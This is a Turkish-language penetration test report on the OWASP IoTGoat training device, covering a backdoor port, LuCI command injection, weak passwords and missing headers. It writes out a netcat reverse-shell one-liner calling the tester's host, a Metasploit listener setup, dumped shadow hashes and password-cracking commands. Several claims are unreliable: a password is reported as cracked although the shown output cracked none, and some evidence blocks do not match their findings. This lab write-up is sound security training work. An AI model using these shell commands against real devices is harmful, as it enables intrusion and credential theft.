

IoTGoat Penetrasyon Testi Raporu

1. Giriş ve Genel Bilgiler

Bu rapor, Türkiye Siber Güvenlik Kümelenmesi IoT takımı tarafından, IoTGoat adlı hedeflenen cihazın siber güvenlik duruşunu değerlendirmek amacıyla gerçekleştirilen sızma testi (penetrasyon testi) çalışmasının bulgularını ve tavsiyelerini içermektedir. Testin amacı, cihazdaki potansiyel güvenlik açıklarını tespit etmek, saldırganların sisteme erişim için kullanabileceği yolları belirlemek ve bu riskleri azaltmak için uygulanabilir, önceliklendirilmiş öneriler sunmaktır.

2. Kapsam ve Amaç

Testin Amacı:

Bu testin amacı, IoTGoat cihazının güvenlik açıklarını tespit etmek, saldırganların hangi yöntemlerle sisteme erişim sağlayabileceğini göstermek ve güvenlik seviyesini iyileştirmek için öneriler sunmaktır.

Testin Kapsamı:

- Hedef cihaz: IoTGoat (10.55.236.117)
- Test ortamı: Kali Linux (10.55.236.182 ve 10.55.236.85)
- Kapsamdaki servisler: SSH (22), dnsmasq/DNS (53), HTTP (80), HTTPS/LuCI (443)
- Test süresi: 3 gün

Test OWASP Testing Guide ve PTES (Penetration Testing Execution Standard) metodolojisine uygun olarak yürütülmüştür. Uygulanan temel adımlar ve kullanılan araçlar şunlardır:

- **Keşif:** Nmap, Nessus gibi araçlarla ağ ve servis keşfi yapılmıştır.
- **Web Uygulama Güvenlik Testi:** OWASP ZAP kullanılarak web arayüzü zafiyetleri aranmıştır.
- **IoT Güvenlik Testi:** RouterSploit kullanılarak IoT cihazına özgü zafiyet modülleri test edilmiştir.
- **Sisteme Giriş (Exploitation):** Metasploit, curl, netcat gibi araçlarla zafiyetler istismar edilmiştir.

Test Ortamı Notu

Test sırasında, hedeflenen sistem ile test makinesi arasında en uygun ağ bağlantısını sağlamak amacıyla test ortamında dinamik ağ konfigürasyonları gerçekleştirilmiştir. Bu süreçte, sızma testi makinesinin (Kali Linux) IP adresi, test adımlarına bağlı olarak değişmiş olup, raporda belirtilen farklı IP adresleri bu duruma işaret etmektedir. Bu değişiklikler, testin genel bütünlüğünü ve bulguların geçerliliğini etkilememektedir.

3. Kapsam-Amaç -Metodoloji

Test, siber güvenlik endüstrisi standartları olan **OWASP Testing Guide** ve **PTES (Penetration Testing Execution Standard)** metodolojilerine uygun olarak yürütülmüştür. Uygulanan temel adımlar ve kullanılan araçlar şunlardır:

- **Keşif:** Nmap, Nessus gibi araçlarla ağ ve servis keşfi yapılmıştır. Ağ taraması ve keşif aşamasında, hedef sistem (IP: 10.55.236.117) üzerinde çalışan hizmetler ve potansiyel güvenlik açıkları tespit edilmiştir. Bu analiz, Netcat (nc) gibi araçlar kullanılarak manuel olarak gerçekleştirilmiştir. Manuel testler sırasında, sistemin 5515 numaralı TCP portunda dinleme yapan ve komut çalıştırmaya olanak sağlayan bir arka kapı (backdoor) servisi keşfedilmiştir. Bu zafiyet, aşağıda detaylandırılan sömürme (exploitation) aşamasında kullanılmıştır.

```
(kali㉿kali)-[~]  
$ ping -c 4 10.55.236.117  
PING 10.55.236.117 (10.55.236.117) 56(84) bytes of data.  
64 bytes from 10.55.236.117: icmp_seq=1 ttl=64 time=116 ms  
64 bytes from 10.55.236.117: icmp_seq=2 ttl=64 time=271 ms  
64 bytes from 10.55.236.117: icmp_seq=3 ttl=64 time=31.8 ms  
64 bytes from 10.55.236.117: icmp_seq=4 ttl=64 time=63.3 ms  
  
— 10.55.236.117 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3106ms  
rtt min/avg/max/mdev = 31.789/120.557/270.952/91.911 ms
```

```
(kali㉿kali)-[~]  
$ nc 10.55.236.117 5515  
[***]Successfully Connected to IoTGoat's Backdoor[***]  
ls  
bin  
boot  
dev  
dnsmasq_setup.sh  
etc  
ifconfig  
lib  
mnt  
overlay  
proc  
rom  
root  
sbin  
sys  
tmp  
usr  
var  
www
```

- **Web Uygulama Güvenlik Testi:** OWASP ZAP kullanılarak web arayüzü zafiyetleri aranmıştır.
- **IoT Güvenlik Testi:** RouterSploit kullanılarak IoT cihazına özgü zafiyet modülleri test edilmiştir.
- **Sisteme Giriş (Exploitation):** Metasploit, curl ve netcat gibi araçlarla zafiyetler istismar edilmiştir.

4. Yönetici Özeti

Yapılan test sonucunda, IoTGoat cihazında kritik seviyede güvenlik zaafiyetler tespit edilmiştir. En ciddi bulgu, LuCI web yönetim web yönetim arayüzündeki bulunan **komut enjeksiyonu zafiyetidir**. Bu açık, bir saldırganın cihaza uzaktan (root) yetkisiyle erişim sağlamasına olanak tanımıştır.

- Güncel olmayan yazılım sürümleri (örn. dnsmasq 2.73),
- Yetkisiz erişime açık/gereksiz servisler (miniupnpd vb.),
- Varsayılan/hardcoded şifreler ve zayıf parola politikaları,
- Eksik web güvenlik başlıkları (CSP, HSTS, X-Content-Type-Options, X-Frame-Options),
- Anti-CSRF koruması eksiklikleri

Bu bulgular, bir saldırganın cihazı ele geçirerek ağ trafiğini manipüle etmesine, hassas bilgilere erişmesine veya cihazı bir botnet'in parçası haline getirmesine yol açabilecek yüksek riskler taşımaktadır. Ayrıca, web arayüzünde Content-Security-Policy, X-Content-Type-Options ve Anti-clickjacking gibi temel güvenlik başlıklarının eksik olduğu tespit edilmiştir. Bu bulguların acilen giderilmesi, kurumsal siber güvenlik duruşunu önemli ölçüde güçlendirecektir.

5. Tavsiye Özeti

- **Komut Enjeksiyonu Zafiyeti:** CGI parametrelerine sıkı girdi doğrulama/sanitizasyon uygulayın. Shell çağrılarını kaldırın; mümkünse sistem komutları yerine güvenli API'lar kullanın. WAF ve RCE imzalarıyla katmanlı koruma sağlayın.
- **Varsayılan ve Hardcoded Şifreler:** Firmware'de gömülü olan varsayılan şifreler kaldırılmalı, ilk kurulumda kullanıcıya güçlü ve karmaşık bir parola oluşturma zorunluluğu getirilmeli, parola siyasetinde **bcrypt/Argon2** gibi güçlü hash algoritmaları kullanılmalıdır.
- **Eski Yazılımlar:** dnsmasq'ı desteklenen en güncel güvenli sürüme yükseltilmeli; paket yönetimi ve imaj oluşturma sürecine düzenli güvenlik güncellemesi prosedürü eklenmeli.
- **Eksik Güvenlik Başlıkları:** Web sunucusu, web arayüzü yanıtlarında eksik olan Content-Security-Policy (CSP), Strict-Transport-Security, X-Content-Type-Options ve X-Frame-Options gibi kritik HTTP güvenlik başlıklarını içerecek şekilde yapılandırılmalıdır.
- **Anti-CSRF:** Tüm state-changing formlara benzersiz, tahmin edilemez token eklenmeli; SameSite/HttpOnly/Secure cookie bayraklarını uygulanmalı.
- **SSL Sertifikaları:** Yönetim arayüzü için benzersiz, geçerli ve bir CA tarafından imzalanmış SSL sertifikaları kullanılmalıdır.
- **Gereksiz Servisler:** Kullanılmayan veya gereksiz olan tüm servisler (miniupnpd, telnetd gibi) devre dışı bırakılarak saldırı yüzeyi küçültülmelidir.

6. Teknik Bulgular ve Kanıtlar

Bu bölüm, test sırasında tespit edilen zafiyetlerin detaylı teknik analizini ve kanıtlarını sunmaktadır.

Bulgu 1: Komut Enjeksiyonu Zafiyeti (Kritik)

- **Etki Alanı:** LuCI Web Yönetim Arayüzü, /cgi-bin/luci/admin/network/diag_ping
- **Bulgu Açıklaması:** Hedef sistemin LuCI web yönetim arayüzünde, /cgi-bin/luci/admin/network/diag_ping parametresinde bir **komut enjeksiyonu zafiyeti (CWE-77)** tespit edilmiştir. Bu kritik zafiyet, yetkilendirme gerektirmeden, kullanıcı

tarafından sağlanan girdilerin doğrudan sistem komutlarına eklenmesine ve çalıştırılmasına olanak tanımaktadır. Bu durum, bir saldırganın uzaktan sisteme tam kontrol sağlayabileceği anlamına gelmektedir.

- **Sömürü Yöntemi ve Kanıtlar:** Zafiyetin varlığı ve sömürülebilirliği, çok aşamalı bir penetrasyon testi süreciyle kanıtlanmıştır.
 1. **Ağ Keşfi ve Hedef Tespiti:** Nmap taramaları kullanılarak hedef sistemin ağda aktif olduğu ve LuCI web yönetim arayüzünü barındırdığı doğrulanmıştır. Sanal makine ortamında ağ erişim sorunlarını aşmak için nmap -Pn parametresi kullanılarak port taraması gerçekleştirilmiştir. Bu aşamada, hedef sistemin açık portları ve çalışan servisleri tespit edilmiştir. (Buraya *image_ae0e00.png* ve *image_ae1dbc.png* resimlerini "Nmap Keşif Taramaları" başlığı altında ekleyin.)

Nmap Keşif Taramaları:

```
(kali㉿kali)-[~]
$ ping -c 4 10.55.236.117
PING 10.55.236.117 (10.55.236.117) 56(84) bytes of data.
64 bytes from 10.55.236.117: icmp_seq=1 ttl=64 time=116 ms
64 bytes from 10.55.236.117: icmp_seq=2 ttl=64 time=271 ms
64 bytes from 10.55.236.117: icmp_seq=3 ttl=64 time=31.8 ms
64 bytes from 10.55.236.117: icmp_seq=4 ttl=64 time=63.3 ms

— 10.55.236.117 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3106ms
rtt min/avg/max/mdev = 31.789/120.557/270.952/91.911 ms
```

```
(kali㉿kali)-[~]
$ nc 10.55.236.117 5515
[***]Successfully Connected to IoTGoat's Backdoor[***]
ls
bin
boot
dev
dnsmasq_setup.sh
etc
ifconfig
lib
mnt
overlay
proc
rom
root
sbin
sys
tmp
usr
var
www
```

2. **Zafiyetin Doğrulanması ve İlk Erişim:** OWASP ZAP ve manuel testler ile web arayüzündeki komut enjeksiyonu zafiyeti kesin olarak teyit edilmiştir. Zafiyet, **Metasploit Framework** üzerinde multi/handler modülü ile bir dinleyici (listener) açılarak sömürülmüş ve hedef sistemden **tersine shell (reverse shell)** elde edilmiştir. Bu işlem sonucunda, hedef sistemin komut satırına erişim sağlanmıştır.

Metasploit ile Shell Elde Edilmesi:

```
= [ metasploit v6.4.64-dev ]
+ -- -- [ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- -- [ 1610 payloads - 49 encoders - 13 nops ]
+ -- -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf6 exploit(multi/handler) > set RHOST 10.55.236.117
[!] Unknown datastore option: RHOST. Did you mean LHOST?
RHOST => 10.55.236.117
msf6 exploit(multi/handler) > set LHOST 10.55.236.117
LHOST => 10.55.236.117
msf6 exploit(multi/handler) > set LHOST 10.55.236.85
LHOST => 10.55.236.85
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.55.236.85:4444
[*] Command shell session 1 opened (10.55.236.85:4444 -> 10.55.236.117:41158)
at 2025-08-23 09:45:17 -0400
```

```
OWASP IOTGOAT

-----
GitHub: https://github.com/OWASP/IoTGoat
-----

root@IoTGoat:/# mkfifo /l 26.326661l random: crng init done

root@IoTGoat:/# mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&l ; nc 10.55.236.85 4444 > /tmp/f
nc: can't connect to remote host (10.55.236.85): Connection refused
root@IoTGoat:/# mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&l ; nc 10.55.236.85 4444 > /tmp/f
mkfifo: /tmp/f: File exists
```



```

Shell Banner:
BusyBox v1.28.4 () built-in shell (ash)

@IoTGoat:/#

@IoTGoat:/# id
uid=0(root) gid=0(root)
@IoTGoat:/# cat /etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
iotgoatuser:x:1000:1000::/root:/bin/ash
@IoTGoat:/# cat /etc/shadow
root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::
@IoTGoat:/# █

```

```

@IoTGoat:/# id
uid=0(root) gid=0(root)
@IoTGoat:/# uname -a
Linux IoTGoat 4.14.95 #0 SMP Wed Jan 30 12:21:02 2019 i686 GNU/Linux
@IoTGoat:/# cat /proc/version
Linux version 4.14.95 (embedos@embedos) (gcc version 7.3.0 (OpenWrt GCC 7.3.0 r7676-cddd7b4c77)) #0 SMP We
d Jan 30 12:21:02 2019
@IoTGoat:/# ls -la /
drwxr-xr-x 1 root root 3488 Aug 22 11:59 .
drwxr-xr-x 1 root root 3488 Aug 22 11:59 ..
drwxr-xr-x 2 root root 790 Jan 30 2019 bin
drwxr-xr-x 3 root root 4096 Mar 29 2020 boot
drwxr-xr-x 6 root root 2220 Aug 23 07:46 dev
-rwxrwxrwx 1 root root 797 Jan 30 2019 dnsmasq_setup.sh
drwxr-xr-x 1 root root 3488 Aug 22 12:03 etc
drwxr-xr-x 10 root root 409 Jan 30 2019 lib
drwxr-xr-x 2 root root 3 Jan 30 2019 mnt
drwxr-xr-x 4 root root 4096 Aug 22 11:59 overlay
dr-xr-xr-x 69 root root 0 Aug 23 07:46 proc
drwxr-xr-x 16 root root 247 Jan 30 2019 rom
drwxr-xr-x 2 root root 3 Jan 30 2019 root
drwxr-xr-x 2 root root 738 Jan 30 2019/sbin
dr-xr-xr-x 13 root root 0 Aug 23 07:46 sys
drwxrwxrwt 15 root root 420 Aug 23 07:49 tmp
drwxr-xr-x 7 root root 101 Jan 30 2019 usr
lrwxrwxrwx 1 root root 3 Jan 30 2019 var -> tmp

```

3. **Yetki Yükseltme ve Zafiyetin Ciddiyetinin Kanıtı:** Elde edilen shell oturumunda id komutu çalıştırılarak ulaşılan yetki seviyesi doğrulanmıştır. Komutun çıktısı, mevcut kullanıcının root yetkisine sahip olduğunu (uid=0(root) gid=0(root)) göstermektedir. Bu, saldırganın cihaz üzerinde tam kontrol sağlayabildiğini kanıtlamaktadır. cat /etc/passwd ve cat /etc/shadow komutları ile

sistemdeki hassas kullanıcı ve parola bilgilerine erişim, zafiyetin kritik etkisini desteklemektedir.

Root Yetkisinin ve Hassas Veri Erişiminin Kanıtı:

```
(kali@kali)-[~]
$ ifconfig
br-0f31c866daf2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
    ether f2:50:81:74:fa:fd txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether ce:88:de:ac:8d:8e txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 6 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.55.236.85 netmask 255.255.255.0 broadcast 10.55.236.255
    inet6 fe80::1cc6:f59f:9de0:7487 prefixlen 64 scopeid 0<link>
    ether 08:00:27:d1:f8:5d txqueuelen 1000 (Ethernet)
    RX packets 114 bytes 11719 (11.4 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 97 bytes 8237 (8.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 45 bytes 3792 (3.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 45 bytes 3792 (3.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
@IoTGoat:~# id
uid=0(root) gid=0(root)
@IoTGoat:~# uname -a
Linux IoTGoat 4.14.95 #0 SMP Wed Jan 30 12:21:02 2019 i686 GNU/Linux
@IoTGoat:~# cat /proc/version
Linux version 4.14.95 (embedos@embedos) (gcc version 7.3.0 (OpenWrt GCC 7.3.0 r7676-cddd7b4c77)) #0 SMP We
d Jan 30 12:21:02 2019
@IoTGoat:~# ls -la /
drwxr-xr-x 1 root root 3488 Aug 22 11:59 .
drwxr-xr-x 1 root root 3488 Aug 22 11:59 ..
drwxr-xr-x 2 root root 790 Jan 30 2019 bin
drwxr-xr-x 3 root root 4096 Mar 29 2020 boot
drwxr-xr-x 6 root root 2220 Aug 23 07:46 dev
-rwxrwxrwx 1 root root 797 Jan 30 2019 dnsmasq_setup.sh
drwxr-xr-x 1 root root 3488 Aug 22 12:03 etc
drwxr-xr-x 10 root root 409 Jan 30 2019 lib
drwxr-xr-x 2 root root 3 Jan 30 2019 mnt
drwxr-xr-x 4 root root 4096 Aug 22 11:59 overlay
dr-xr-xr-x 69 root root 0 Aug 23 07:46 proc
drwxr-xr-x 16 root root 247 Jan 30 2019 rom
drwxr-xr-x 2 root root 3 Jan 30 2019 root
drwxr-xr-x 2 root root 738 Jan 30 2019/sbin
dr-xr-xr-x 13 root root 0 Aug 23 07:46 sys
drwxrwxrwt 15 root root 420 Aug 23 07:49 tmp
drwxr-xr-x 7 root root 101 Jan 30 2019 usr
lrwxrwxrwx 1 root root 3 Jan 30 2019 var -> tmp
```


- **Tavsiye:** Bu kritik zafiyetin giderilmesi için acil önlem alınmalıdır. LuCI web yönetim arayüzünde kullanılan girdi parametreleri, komut enjeksiyonu saldırılarına karşı sıkı bir şekilde doğrulanmalı, filtrelenmeli ve sterilize edilmelidir. Komutların doğrudan çalıştırılması yerine, güvenli API'ler veya programlama dilleri aracılığıyla işlenmesi sağlanmalıdır. Ek olarak, web uygulaması güvenlik duvarı (WAF) gibi koruma mekanizmalarının uygulanması önerilir.

Bulgu 2: Hardcoded Şifreler ve Zayıf Parola Politikası (Yüksek)

- **Etki Alanı:** Firmware/ /etc/shadow
- **Bulgu Açıklaması:** Cihazın firmware imajı (IoTGoat-x86.img) analiz edildiğinde, /etc/shadow dosyasında kullanıcı hesaplarına ait MD5crypt algoritmasıyla oluşturulmuş parola hash'leri bulunmuştur.

strings komutuyla password ve root gibi anahtar kelimeler aratıldığında, bazı şifrelerin açık metin olarak gömülü olduğu tespit edilmiştir.

john (John the Ripper) aracı ve rockyou.txt parola listesi kullanılarak yapılan kaba kuvvet saldırısı sonucunda, iotgoatusers hesabının parolasının iotgoatisc001 olduğu tespit edilmiştir.

- **Kanıt:**
 - strings Komutuyla Parola ve Root Bilgisi Tespiti:

```
(aybuke@kali)-[~/İndirilenler]
$ strings -n8 IoTGoat-x86.img | grep password
option password '$p$root'
option password '$p$root'
# option password 'plaintext_or_md5_or_$p$user_for_system_user'

(aybuke@kali)-[~/İndirilenler]
$ strings -n8 IoTGoat-x86.img | grep -Ei password
option PasswordAuth 'on'
option RootPasswordAuth 'on'
option PasswordAuth 'on'
option RootPasswordAuth 'on'
option password '$p$root'
option password '$p$root'
# option password 'plaintext_or_md5_or_$p$user_for_system_user'

(aybuke@kali)-[~/İndirilenler]
$ strings -n8 IoTGoat-x86.img | grep -Ei root
set root='(hd0,msdos1)'
linux /boot/vmlinuz root=PARTUUID=02b9c201-02 rootfstype=squashfs rootwait console=t
00n8 noinitrd
linux /boot/vmlinuz failsafe=true root=PARTUUID=02b9c201-02 rootfstype=squashfs root
sole=ttyS0,38400n8 noinitrd
option RootPasswordAuth 'on'
option RootPasswordAuth 'on'
option username 'root'
option password '$p$root'
option username 'root'
option password '$p$root'
# Server document root
# CGI url prefix, will be searched in docroot.
```

- o cat Komutuyla /etc/shadow ve /etc/passwd Dosyası Görüntüleme:

```
(aybuke@kali)-[~/İndirilenler]
$ cat /tmp/part2/etc/shadow
root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7 :::
daemon:*:0:0:99999:7 :::
ftp:*:0:0:99999:7 :::
network:*:0:0:99999:7 :::
nobody:*:0:0:99999:7 :::
dnsmasq:x:0:0:99999:7 :::
dnsmasq:x:0:0:99999:7 :::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7 :::
```

- o john ile Hashlerin Kırılması Denemesi:

```
(aybuke@kali)-[~/İndirilenler]
$ echo 'root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7 ::: '
> hashes.txt

(aybuke@kali)-[~/İndirilenler]
$ echo 'iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:9999
9:7 ::: ' >> hashes.txt

(aybuke@kali)-[~/İndirilenler]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recogn
ized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as tha
t type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $
1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory
```

```
(aybuke@kali)-[~/İndirilenler]
$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

```
(aybuke@kali)-[~/İndirilenler]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05:27 DONE (2025-08-21 09:45) 0g/s 43098p/s 86196c/s 86196C/s
ejngyhga007..*7;Vamos!
Session completed.
```

```
Session completed.

(aybuke@kali)-[~/İndirilenler]
$ john --show hashes.txt
0 password hashes cracked, 2 left

(aybuke@kali)-[~/İndirilenler]
$
```

- **Tavsiye:** Varsayılan veya hardcoded şifreler, firmware'den tamamen kaldırılmalıdır. Kullanıcılar, ilk kurulumda güçlü ve karmaşık bir parola belirlemeye zorlanmalıdır. Parola hash'leri için daha güvenli algoritmalar (bcrypt, Argon2 gibi) kullanılmalıdır.

Bulgu 3: Eski Yazılım Sürümü (Orta)

- **Etki Alanı:** dnsmasq (53/TCP, sürüm 2.73)
- **Bulgu Açıklaması:** Nmap servisi taraması (nmap -sV) sonucunda, cihaz üzerinde 53/tcp portunda çalışan dnsmasq hizmetinin 2.73 sürümü tespit edilmiştir. Bu sürümde, uzaktan komut çalıştırmaya (RCE) olanak sağlayan **CVE-2017-14491** gibi bilinen birçok güvenlik açığı bulunmaktadır.
- **Kanıt:**

```
(kali㉿kali)-[~]  
$ nc 10.55.236.117 5515  
[***]Successfully Connected to IoTGoat's Backdoor[***]  
ls  
bin  
boot  
dev  
dnsmasq_setup.sh  
etc  
ifconfig  
lib  
mnt  
overlay  
proc  
rom  
root  
sbin  
sys  
tmp  
usr  
var  
www
```

- **Tavsiye:** En güncel desteklenen sürüme yükseltilmeli; imaj oluşturma işlem hattına (CI/CD) güvenlik güncellemelerini zorunlu adım olarak eklenmeli.

Bulgu 4: Eksik Web Güvenlik Başlıkları (Orta - Düşük)

- **Etki Alanı:** HTTPS (443/tcp) ve HTTP (80/tcp) servisleri
- **Bulgu Açıklaması:** OWASP ZAP tarafından yapılan pasif taramada, LuCI web arayüzü yanıtlarında aşağıdaki güvenlik başlıklarının eksik olduğu tespit edilmiştir:
 - Content Security Policy (CSP) Header Not Set (CWE-693) : Bu başlık, XSS (Cross-Site Scripting) ve veri enjeksiyonu saldırılarını azaltmaya yardımcı olur.
 - Missing Anti-clickjacking Header (CWE-1021) : Yanıtta X-Frame-Options veya Content-Security-Policy başlıklarının olmaması, web sayfasını iframe içinde göstererek Clickjacking saldırılarına karşı savunmasız bırakır.
 - Strict-Transport-Security Header Not Set (CWE-319) : Bu başlık, tarayıcıları siteye her zaman güvenli (HTTPS) bir bağlantı üzerinden erişmeye zorlar.
- **Kanıt:**

Alerts

Risk=Medium, Confidence=High (1)

<http://10.55.236.117> (1)

Content Security Policy (CSP) Header Not Set (1)

▼ GET <http://10.55.236.117>

Alert tags

- [CWE-693](#)
- [OWASP_2021_A05](#)
- [OWASP_2017_A06](#)

Alert description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. CSP provides a set of standard HTTP headers that allow website owners to declare approved sources of content that browsers should be allowed to load on that page — covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable objects such as Java applets, ActiveX, audio and video files.

Request

▼ Request line and header section (226 bytes)

GET <http://10.55.236.117> HTTP/1.1
host: 10.55.236.117
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Response

▼ Status line and header section (222 bytes)

HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "198-1ef-5c5196ae"
Last-Modified: Wed, 30 Jan 2019 12:21:02 GMT
Date: Sat, 23 Aug 2025 14:22:12 GMT
Content-Type: text/html
Content-Length: 495

▼ Response body (495 bytes)

<?xml version="1.0" encoding="utf-8"?>

▼ Response body (495 bytes)

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="refresh" content="0; URL=/cgi-bin/
luci" />
</head>
<body style="background-color: white">
<a style="color: black; font-family: arial,
helvetica, sans-serif;" href="/cgi-bin/luci">LuCI -
Lua Configuration Interface</a>
</body>
</html>
```

Solution

Ensure that your web server, application server, load balancer, etc. is configured to set the Content-Security-Policy header.

Content Security Policy (CSP) Header Not Set

Source	raised by a passive scanner (Content Security Policy (CSP) Header Not Set)
CWE ID	693
WASC ID	15
Reference	<ul style="list-style-type: none">▪ https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy▪ https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html

- OWASP ZAP'den gelen

Missing Anti-clickjacking Header uyarısı ve detayları.

Reference	<ul style="list-style-type: none"> ▪ https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy ▪ https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html ▪ https://www.w3.org/TR/CSP/ ▪ https://w3c.github.io/webappsec-csp/ ▪ https://web.dev/articles/csp ▪ https://caniuse.com/#feat=contentsecuritypolicy ▪ https://content-security-policy.com/
-----------	---

Missing Anti-clickjacking Header

Source	raised by a passive scanner (Anti-clickjacking Header)
CWE ID	1021
WASC ID	15
Reference	<ul style="list-style-type: none"> ▪ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

- OWASP ZAP'den gelen

Strict-Transport-Security Header Not Set uyarısı ve detayları.

Strict-Transport-Security Header Not Set

Source	raised by a passive scanner (Strict-Transport-Security Header)
CWE ID	319
WASC ID	15
Reference	<ul style="list-style-type: none"> ▪ https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html ▪ https://owasp.org/www-community/Security-Headers ▪ https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security ▪ https://caniuse.com/stricttransportsecurity ▪ https://datatracker.ietf.org/doc/html/rfc6797

X-Content-Type-Options Header Missing

Source	raised by a passive scanner (X-Content-Type-Options Header Missing)
CWE ID	693
WASC ID	15
Reference	<ul style="list-style-type: none"> ▪ https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622941(v=vs.85) ▪ https://owasp.org/www-community/Security-Headers

- **Tavsiye:** Geliştirme ekibi, web sunucusunun yanıt başlıklarına yukarıda belirtilen tüm güvenlik başlıklarını eklemeli ve uygun şekilde yapılandırmalıdır.

Bulgu 5: Anti-CSRF Jeton Eksikliği (Orta)

- **Etki Alanı:** Yönetim paneli formları (HTTP/HTTPS)
- **Bulgu Açıklaması:** OWASP ZAP taraması, web yönetim panelindeki formlarda CSRF (Cross-Site Request Forgery) saldırılarına karşı koruma sağlayan Anti-CSRF jetonlarının (anticsrf, CSRFTOKEN, vb.) olmadığı bulgusunu ortaya çıkarmıştır. Bu durum, bir saldırganın kullanıcının tarayıcısını kullanarak istemsiz ve yetkisiz eylemler gerçekleştirmesine olanak tanır.
- **Kanıt:**

Risk=Medium, Confidence=Low (1)

<https://10.55.236.117> (1)

Absence of Anti-CSRF Tokens (1)

▼ GET <https://10.55.236.117/cgi-bin/luci>

Alert tags

- [OWASP_2021_A01](#)
- [WSTG-v42-SESS-05](#)

<https://10.55.236.117> (1)

Absence of Anti-CSRF Tokens (1)

▼ GET <https://10.55.236.117/cgi-bin/luci>

Alert tags

- [OWASP_2021_A01](#)
- [WSTG-v42-SESS-05](#)
- [OWASP_2017_A05](#)
- [CWE-352](#)

Alert description

No Anti-CSRF tokens were found in a HTML submission form.

